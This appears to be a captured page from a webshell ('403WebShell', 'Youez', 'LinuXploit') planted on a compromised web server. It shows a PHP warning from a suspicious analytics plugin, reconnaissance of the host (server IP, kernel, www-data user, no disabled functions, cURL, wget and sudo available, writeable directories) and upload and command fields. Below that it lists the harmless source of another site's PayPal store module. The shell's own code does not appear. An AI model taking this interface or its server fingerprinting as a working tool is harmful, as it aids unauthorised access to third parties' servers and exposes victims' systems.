Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/theyoungdesigners_com/modules/storePaypal/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/theyoungdesigners_com/modules/storePaypal/index.php
<?php

namespace modules\storePaypal;

class module_info extends \module {

	function __info() {  
		return [
			'version' => '0.0.1',
			'required' => FALSE,
			'class' => 'modules\\storePaypal\\main',
			'name' => 'Payment Processor - Paypal',
			'depends' => ['store'],
			'settings' => [
				[
					'name' => 'clientid',
					'caption' => 'Client ID',
					'type' => 'string',
				], [
					'name' => 'secret',
					'caption' => 'Client Secret',
					'type' => 'string',
				],
			],
			'database' =>  [
				'store_paypal' => [
					'engine' => 'auto',
					'charset' => 'utf-8',
					'comment' => 'Paypal Transactions',
					'fields' => [
						[
							'name' => 'order_id',
							'type' => 'string',
							'size' => 25,
							'null' => FALSE,
						],[
							'name' => 'sp_state',
							'type' => 'string',
							'size' => 10,
							'default' => 'new',
						],[
							'name' => 'sp_orderid',			// our internal order id
							'type' => 'integer',
							'size' => 11,
							'unsigned' => TRUE,
							'null' => TRUE,
						],[
							'name' => 'sp_timestamp',
							'type' => 'integer',
							'size' => 11,
						],[
							'name' => 'sp_transaction',		// transaction id
							'type' => 'string',
							'size' => 25,
						],[
							'name'	=> 'request_id',		// a guid assigned by us
							'type'  => 'string',
							'size'	=>  36,
							'null' => TRUE,
						],[
							'name' => 'sp_accountstatus',	// account status - be careful when shipping to unverified accounts
							'type' => 'string',
							'size' => 20,
							'null' => TRUE,
						],[
							'name'	=> 'sp_link_update',	// link to update the order
							'type'  => 'string',
							'size'	=>  512,
							'null' => TRUE,
						],[
							'name'	=> 'sp_link_authorize',	// link to authorize order
							'type'  => 'string',
							'size'	=>  512,
							'null' => TRUE,
						]
						// ip address, browser, status?
					],
					'index' => [
						'PRIMARY' => [	'type' => 'primary',
										'fields' => ['order_id'],
									],
						'byGuid' => [	'type' => 'index',
										'fields' => ['request_id'],
									],
						'byTime' => [	'type' => 'index',
										'fields' => ['sp_timestamp'],
									],
						'byOrder' => [	'type' => 'index',
										'fields' => ['sp_orderid', 'sp_state'],
									],
					],
                ],
			],
		];
	}
	
}

Youez - 2016 - github.com/yon3zu
LinuXploit